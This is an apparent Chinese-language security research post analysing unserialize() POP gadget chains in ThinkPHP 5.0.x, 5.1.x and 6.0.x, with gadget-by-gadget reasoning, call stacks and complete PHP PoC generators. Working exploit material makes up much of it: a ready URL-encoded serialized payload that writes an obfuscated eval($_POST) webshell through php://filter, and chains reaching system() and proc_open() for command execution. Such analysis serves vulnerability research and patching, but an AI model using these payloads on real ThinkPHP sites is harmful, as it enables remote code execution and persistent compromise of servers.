这里主要分析了几个网上比较多出现的thinkphp的pop链条
thinkphp5.0.x
复现环境:thinkphp5.0.14
在application/index/controller/index.php
添加如下代码,提供反序列化漏洞点。
1 2 3 4
| public function index($payload) { unserialize($payload); }
|
入口__destruct
直接全局搜索function __destruct()
,可以用的析构函数不多
也可以搜索function __wakeup()
,只有一个,也没办法利用。
一个一个看析构代码,最终在Windows.php
存在$this->removeFiles();
,其会调用file_exists
函数,可以作为跳板触发__toString
跳板_toString
同样全局搜索function __toString
,阅读代码发现Module.php中的可以用
Model.php中的__toString
方法最终调用到toArray
方法
其中,Collection.php中的__toString
最终也会调用到Module的toArray
因此,仔细看一看toArray
方法有没有可以进一步利用的。
通过读代码,没有找到可以直接造成危害的代码,但是找出了可以触发__call
的四个地方,而__call
可以作为跳板进一步找寻薄弱点。
跳板__call
这里先不看选择上面的哪一个来触发__call
,而先寻找可进一步利用的__call
,之后再根据这个__call
的要求(比如需要传入哪些参数)来选择这四个中的一个。
全局搜索function __call(
,一共有10个,接下来就是一个一个的阅读代码。
最终找到Output.php中的__call
,其调用了block
函数,这里进入block
函数的判断是我们可控的($this->styles
可控)
之后block
函数调用了writeln
,writeln
又调用了write
函数,最终在write
函数中调用了$this->handle->write
。
那么,我们可以通过反序列化控制$this->handle
,从而调用任意类的write
函数
如何进到__call
那么到这里来看看我们应该选择之前四个中的哪一个来触发Output::__call
。在Output的block
函数中有如下代码:
这里的参数$style
和$message
拼接之后成为字符串,因此两个参数都不能是数组类型的,否则会报错。
而__call
的代码如下:
在调用block
之前,向args
中插入了一个$method
,之后使用call_user_func_array
来调用block
函数。
这里就相当于
1
| $this->block($method, $args[0]);
|
所以,对于触发这个__call
的函数,其传入的参数也不能是数组类型。
根据以上这一点,我们可以排除四个可以触发__call
的前两个,而第三个在调用前使用了method_exists
来进行判断,所以也不能使用,因此只能使用第四个。
那么对于第三个,需要到达该行代码需要满足一些条件:
因为我们可以控制$this->append
,进而可控$name
,所以很容易就可以让程序走到else
语句中。
Loader::parseName
进行了字符串命名风格转换,不影响传入的$name
。
Step1:
首先看如下代码,会先调用getBindAttr
,之后会使用其返回的结果来循环遍历,因此我们需要找到一个存在getBindAttr
方法的类,并且最好其返回值是可控的
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } }
|
全局搜索function getBindAttr
,只有一处OneToOne.php
中存在,恰好其返回值是可以通过反序列化来控制的。
OneToOne
是一个抽象类,我们需要找到其子类,经过搜索找到了BelongsTo
类。
Step2:
经过上面的分析,我们需要将$modelRelation
这个变量是BelongsTo
的对象,而$modelRelation
是$this->$relation()
的返回值,$relation
是我们可控的,因此又需要找到一个方法,使其返回值是我们可控的。
在反序列化中,我们可以控制反序列化后对象的属性值,而对象的属性一般设置有getAttr
方法来获取其值,所以搜索function get
,之后再挨个读代码判断。
这里找到了一个getPk
函数可以利用。
因此,我们可以将$relation
设置成getPk
,然后再通过控制$this->pk
来对$modelRelation
进行赋值。
Step3:
还需要解决的是$value
变量,其通过$this->getRelationData($modelRelation);
获得。
看看getRelationData
的代码。我们需要将$value
的值赋值为Output
对象,这里if语句中的$this->parent
、$modelRelation->getModel()
均是可控的,所以我们可以返回$value
为Output
对象
到这里先构造一下payload,使其能够走到__call
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| namespace think\process\pipes { class Windows{ private $files = []; public function __construct($f){ $this->files[] = $f; } } } namespace think\model{ // 因为Model是抽象类,使用的是Model的实现类 class Merge { protected $data = ["a" => ""]; protected $pk; protected $parent; protected $append = ["a"=> "getPk"];
public function setParent($parent) { $this->parent = $parent; } public function setPk($pk) { $this->pk = $pk; } } } namespace think\model\relation{ class BelongsTo{ protected $bindAttr = ["1" => "args"]; protected $model = true; } } namespace think\console{ class Output { protected $styles = ['getAttr']; private $handle; public function setHandle( $handle) { $this->handle = $handle; } } }
$output = new think\console\Output();
$belong = new \think\model\relation\BelongsTo(); $merge = new think\model\Merge(); $merge->setParent($output); $merge->setPk($belong);
$window = new \think\process\pipes\Windows($merge);
echo urlencode(serialize($window));
|
调用任意write
方法
在OutPut类的write方法中,我们可以通过控制$this->handle
来调用任意类的write
方法。
全局搜索function write(
,查找可用的类。
这里我找到了Redis
类,其write
方法如下。
这里又调用了$this->handler->set
方法,全局搜索function set(
,同样查找可利用的类
找到了File类的set方法存在写php文件的代码。
set方法写文件
在set函数,使用file_put_contents
写文件
1 2 3 4 5
| $filename = $this->getCacheKey($name);` ... $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
|
其中$this->getCacheKey
代码为
因此,$filename
的一部分是可控的,并且名字是可以算出的。
在写完文件之后,会调用$this->setTagItem
,其中代码如下,可以看见又调用了一次set
函数,而且其中的$value
可以是传入的filename
。
因此,可以将$this->options['path']
设置成php://filter/write=string.rot13/resource=<?cuc riny($_CBFG[1]);?>
,使用伪协议来将"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
进行编码转换,从而写入真正的webshell。
需要注意的是,这需要在linux环境下才能生成,windows环境文件名不允许?
pop链和poc
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| File.php:153: file_put_contents() Driver.php:200, think\cache\Driver->set() File.php:155, think\cache\driver\File->setTagItem() File.php:153, think\cache\driver\File->set() Redis.php:103, think\session\driver\Redis->write() Output.php:154, think\console\Output->write() Output.php:143, think\console\Output->writeln() Output.php:124, think\console\Output->block() Output.php:212, call_user_func_array() Output.php:212, think\console\Output->__call() Model.php:869, think\console\Output->getAttr() Model.php:869, think\model\Merge->toArray() Model.php:893, think\model\Merge->toJson() Model.php:2210, think\model\Merge->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| <?php
namespace think\process\pipes { class Windows{ private $files = []; public function __construct($f){ $this->files[] = $f; } } }
namespace think\model{ class Merge { protected $data = ["a" => ""]; protected $pk; protected $parent; protected $append = ["a"=> "getPk"];
public function setParent($parent) { $this->parent = $parent; }
public function setPk($pk) { $this->pk = $pk; } } }
namespace think\model\relation{ class BelongsTo{ protected $bindAttr = ["1" => "args"]; protected $model = true;
} }
namespace think\console{ class Output { protected $styles = ['getAttr']; private $handle;
public function setHandle( $handle) { $this->handle = $handle; } } }
namespace think\session\driver{ class Redis{ protected $handler; protected $config = [ "expire" => -1, "session_name" => "" ]; public function setHandler($handler){ $this->handler = $handler; } } }
namespace think\cache\driver{ class File{ protected $options = [ "expire" => "0", "path" => 'php://filter/write=string.rot13/resource=<?cuc riny($_CBFG[1]);?>', "cache_subdir" => null, "prefix" => null, "data_compress" => null ]; protected $tag = true; } }
namespace { $file = new think\cache\driver\File(); // set
$redis = new \think\session\driver\Redis(); // write $redis->setHandler($file);
$output = new think\console\Output(); // __call $output->setHandle($redis);
$belong = new \think\model\relation\BelongsTo(); $merge = new think\model\Merge(); // __toString $merge->setParent($output); $merge->setPk($belong); $window = new \think\process\pipes\Windows($merge); // __destruct echo urlencode(serialize($window)); }
// O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CMerge%22%3A4%3A%7Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3B%7Ds%3A5%3A%22%00%2A%00pk%22%3BO%3A30%3A%22think%5Cmodel%5Crelation%5CBelongsTo%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A4%3A%22args%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A26%3A%22think%5Csession%5Cdriver%5CRedis%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bs%3A1%3A%220%22%3Bs%3A4%3A%22path%22%3Bs%3A65%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.rot13%2Fresource%3D%3C%3Fcuc+riny%28%24_CBFG%5B1%5D%29%3B%3F%3E%22%3Bs%3A12%3A%22cache_subdir%22%3BN%3Bs%3A6%3A%22prefix%22%3BN%3Bs%3A13%3A%22data_compress%22%3BN%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7Ds%3A9%3A%22%00%2A%00config%22%3Ba%3A2%3A%7Bs%3A6%3A%22expire%22%3Bi%3A-1%3Bs%3A12%3A%22session_name%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A5%3A%22getPk%22%3B%7D%7D%7D%7D
|
生成的webshell文件名为<?cuc riny($_CBFG[1]);?>3b58a9545013e88c7186db11bb158c44.php
thinkphp5.1.x
复现环境:thinkphp5.1.41
在application/index/controller/index.php
添加如下代码,提供反序列化漏洞点。
1 2 3 4
| public function index($payload) { unserialize($payload); }
|
入口__destruct
入口和thinkphp5.0的一样,也是Windows.php
存在$this->removeFiles();
,可以触发__toString
方法
跳板__toString
全局搜索function __toString
,查找可以利用的toString方法,找到Conversion.php
中的__toString
调用了toArray
,toArray存在可以触发__call的代码
通过反序列化设置$this->append
,进而控制$key
和 $name
,最终调用$relation->append($name)
。
$relation
是$this->getRelation($key)
的返回值,其返回值也是可控。
接下来就是找可利用的__call
了,之前的写文件的链好像可以用,但是这次找另外的。
跳板__call
找到Request
的__call
方法,代码如下
我们可以通过控制$this->hook
,来控制call_user_func_array
,因为$args
经过了array_unshift
,所以传入call_user_func_array
的第二个参数实际值是[$this, $args]
因此,这里php的原生函数没有可以直接利用的,我们可以将其第一个参数设置成[class, method]
,来调用任意类的任意方法。
链1:使用Request类
通过上面的分析,我们已经可以调用任意类的任意方法了,如果分析过thinkphp5的rce漏洞就知道,Requset类中的input函数是利用连中很重要的一环,通过input函数的filter过滤来进行rce。那么这里我们也尝试去调用Request
的input
函数。
首先如果直接调用input
函数,传入函数的参数是$this, $args
我们没有办法直接控制$data
变量,从而无法进行rce,那么就需要寻找那里调用了input
函数。
查看input的调用可以发现,除了第一个param
函数之外,别的都会将$name
作为input的第二个参数进行传入,那么会对其强制转换为string
。
而对于调用input
的函数而言,这里以get
函数为例,其传入的第一个参数即为上面的$this
,是Requet
对象,对其进行强制转成string类型,会报错终止程序,因此不可选。
所以,就剩下了一个parm
函数可以用。
我们需要走到963行的input
调用处,而其必须的条件是$name
为true,所以直接调用parm不可取。
接下来寻找那里调用了parm函数。
经过查看函数调用,找到了两处可以满足条件的,就是isAjax
和isPjax
函数。
我们可以通过控制$this->config
来使得param
函数的参数为true
,从而进入到我们想要的input
函数中。
在parm函数中,我们可以控制调用input
函数的第一个参数,而且第二个参数值为空字符串""
那么再input函数中,我们通过控制$this->filter
传入我们的过滤器,再经过array_walk_recursive($data, [$this, 'filterValue'], $filter);
就可以达到rce的效果。
pop链和poc
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Request.php:1466, call_user_func() Request.php:1381, think\Request->filterValue() Request.php:1381, array_walk_recursive() Request.php:1381, think\Request->input() Request.php:966, think\Request->param() Request.php:1683, think\Request->isPjax() Request.php:331, call_user_func_array() Request.php:331, think\Request->__call() Conversion.php:197, think\Request->append() Conversion.php:197, think\model\Pivot->toArray() Conversion.php:228, think\model\Pivot->toJson() Conversion.php:244, think\model\Pivot->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <?php
namespace think\process\pipes { class Windows { private $files = []; public function __construct($file) { $this->files[] = $file; } } }
namespace think { abstract class Model { private $relation; protected $hidden = [0 => true]; protected $append = [1 => ["whoami"]];
public function __construct($relation) { $this->relation = [1 => $relation]; } } }
namespace think\model { use think\Model; class Pivot extends Model { } }
namespace think { class Request { protected $hook; protected $config = ['var_pjax' => '']; protected $server = ["REQUEST_METHOD" =>"POST"]; protected $post = []; protected $param = ["calc"]; protected $filter = ["system"];
public function __construct() { $this->hook = ["append" => [$this, "isPjax"]]; } } }
namespace { $request = new think\Request();
$conversion = new think\model\Pivot($request);
$windows = new think\process\pipes\Windows($conversion);
echo urlencode(serialize($windows)); }
|
链2:使用Process类
网上搜索thinkphp5.1.x pop链,一般都是使用的上面的Request
类,既然上面可以调用任意类的任意方法,那么攻击面肯定远远不止Request
类。
这里我找到了Process
的start
方法。
其中使用了proc_open
函数来执行系统命令,而且执行的命令$commandline
和传入的参数均是我们可以控制的。
pop链和poc
调用栈:
1 2 3 4 5 6 7 8 9 10 11
| Process.php:234, proc_open() Process.php:234, think\Process->start() Request.php:331, call_user_func_array:() Request.php:331, think\Request->__call() Conversion.php:197, think\Request->append() Conversion.php:197, think\model\Pivot->toArray() Conversion.php:228, think\model\Pivot->toJson() Conversion.php:244, think\model\Pivot->__toString() Windows.php:163, file_exists() Windows.php:163, think\process\pipes\Windows->removeFiles() Windows.php:59, think\process\pipes\Windows->__destruct()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| <?php
namespace think\process\pipes { class Windows { private $files = [];
public function __construct($file) { $this->files[] = $file; } } }
namespace think { abstract class Model { private $relation; protected $hidden = [0 => true]; protected $append = [1 => ["whoami"]];
public function __construct($relation) { $this->relation = [1 => $relation]; } } }
namespace think\model {
use think\Model;
class Pivot extends Model { } }
namespace think { class Request { protected $hook;
public function __construct($hook) { $this->hook = ["append" => [$hook, "start"]]; } }
class Process { private $status = ""; private $outputDisabled = false; private $commandline = "calc"; private $enhanceWindowsCompatibility = false; } }
namespace { $process = new think\Process();
$request = new think\Request($process);
$conversion = new think\model\Pivot($request);
$windows = new think\process\pipes\Windows($conversion);
echo urlencode(serialize($windows)); }
|
thinkphp6.0.x(6.1.0也可用)
复现环境:thinkphp6.0.13
使用composer安装:
1
| composer create-project topthink/think tp6.0.13 6.0.13
|
之后更改composer.json
,把require的topthink/framework
改成6.0.13
1 2 3 4 5
| "require": { "php": ">=7.2.5", "topthink/framework": "6.0.13", "topthink/think-orm": "^2.0" },
|
在application/index/controller/index.php
添加如下代码,提供反序列化漏洞点。
1 2 3 4
| public function index($payload) { unserialize($payload); }
|
入口__destruct
入口寻找析构函数,这里我将范围固定在了thinkphp的自家框架里。
只有两个,其中的Model.php的调用了$this->save();
,跟进save函数,发现其又调用了一系列的函数。
阅读$this->setAttrs
,其内部调用了$this->setAttr
,而在setAttr
满足条件可以调用任意类的__toString
方法。
如果我们能控制$this->setAttrs
的参数$data
,那就可以走到__toString
这句代码处。
然而__destruct
调用的save
函数没有携带参数,因此再save函数中调用的$this->setAttrs
参数为空数组。
接下来看看$this->updateData()
函数。其内部会调用$this->autoRelationUpdate();
,而在autoRelationUpdate
中如果满足一定条件按,会再次调用Model
类的save
函数,而且其参数$val
是可控的。
那么到这里,只要我们一路通过控制类的成员变量,就可以调用到任意类的__toString
方法
这里的调用栈为
1 2 3 4 5 6 7 8
| 任意类的__toString() Attribute.php:388, think\model\Pivot->setAttr() Attribute.php:356, think\model\Pivot->setAttrs() Model.php:530, think\model\Pivot->save() RelationShip.php:790, think\model\Pivot->autoRelationUpdate() Model.php:608, think\model\Pivot->updateData() Model.php:536, think\model\Pivot->save() Model.php:1066, think\model\Pivot->__destruct()
|
跳板__toString
全局搜索function __toString
,一个一个阅读,最终定位到Url类,其会调用$this->build()
方法,而build
方法中有许多可以作为跳板调用__call
的代码。
其中的403行调用__call
时传入两个可控的参数,而429行传入的是一个可控的参数。
接下来寻找可用的__call
跳板
跳板__call
全局搜索function __call(
,有非常多的类,这也代表有非常多的可能性,这里我只记录一条可以rce的链子。
在Channel类的__call
,调用了其$this->log
方法,log中调用了$this->record
,record会调用$this->save()
。
在save函数中,我们可以调用任意类的save方法。
需要注意的是,调用log方法的时候第三个参数类型必须是array,而如果选择前面两个可控参数来调用__call的话,这里将会不能满足第三个参数是数组类型。
因此,选择前面429行的那个函数来触发__call
寻找可用的save方法
全局搜索function save(
,最终定位到Store
类的save
方法。其调用$this->serialize
进行序列化,然而在serialize
函数中可以通过控制$this->serialize
变量来指定调用的原生函数,其中的参数$data
也是可控的,因此我们可以执行任意的函数,并传入其参数。
但是在执行到$this->serialize
之前,需要先执行$this->clearFlashData()
,其中会调用$this->delete
,其会要求$this->data
必须是一个数组类型,否则将会报错而退出程序。
因此,我们上面实际上执行到$this->serialize
的时候,其参数$this->data
是数组类型。我们无法直接调用system
函数来rce。
但是,我们可以将$this->serialize[0]
设置成call_user_func
,将第二个参数设置成[class, method]
来调用任意类的任意方法,这样攻击面就放大了太多。
我们可以使用之前讲过的Request
类的input
函数这条攻击连来进行rce。
首先还是调用Request
类的param
方法,通过控制类属性,直接走到最后的input方法中
之后就是前面的老攻击手法了。
input函数中调用$this->filterData
,通过控制filter过滤器,在过滤的时候执行任意函数,从而rce。
pop链和poc
调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Request.php:1423, call_user_func() Request.php:1423, think\Request->filterValue() Request.php:1303, array_walk_recursive() Request.php:1303, think\Request->filterData() Request.php:1287, think\Request->input() Request.php:871, think\Request->param() Store.php:324, call_user_func:{}() Store.php:324, think\session\Store->serialize() Store.php:261, think\session\Store->save() Channel.php:145, think\log\Channel->save() Channel.php:104, think\log\Channel->record() Channel.php:279, think\log\Channel->log() Channel.php:284, think\log\Channel->__call() Url.php:429, think\log\Channel->getDomainBind() Url.php:429, think\route\Url->build() Url.php:505, think\route\Url->__toString() Attribute.php:388, think\model\Pivot->setAttr() Attribute.php:356, think\model\Pivot->setAttrs() Model.php:530, think\model\Pivot->save() RelationShip.php:790, think\model\Pivot->autoRelationUpdate() Model.php:608, think\model\Pivot->updateData() Model.php:536, think\model\Pivot->save() Model.php:1066, think\model\Pivot->__destruct()
|
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| <?php
namespace think { abstract class Model { private $lazySave = true; private $data = ['a' => 'b']; private $exists = true; protected $withEvent = false; protected $readonly = ['a']; protected $relationWrite; private $relation; private $origin = [];
public function __construct($value) { $this->relation = ['r' => $this]; $this->origin = ["n" => $value]; $this->relationWrite = ['r' => ["n" => $value] ]; } }
class App { protected $request; }
class Request { protected $mergeParam = true; protected $param = ["calc"]; protected $filter = "system"; } }
namespace think\model { use think\Model; class Pivot extends Model { } }
namespace think\route { use think\App; class Url { protected $url = ""; protected $domain = "domain"; protected $route; protected $app;
public function __construct($route) { $this->route = $route; $this->app = new App(); } } }
namespace think\log { class Channel { protected $lazy = false; protected $logger; protected $log = [];
public function __construct($logger) { $this->logger = $logger; } } }
namespace think\session { class Store { protected $data; protected $serialize = ["call_user_func"]; protected $id = "";
public function __construct($data) { $this->data = [$data, "param"]; } } }
namespace { $request = new think\Request(); $store = new think\session\Store($request); $channel = new think\log\Channel($store); $url = new think\route\Url($channel); $model = new think\model\Pivot($url); echo urlencode(serialize($model)); }
|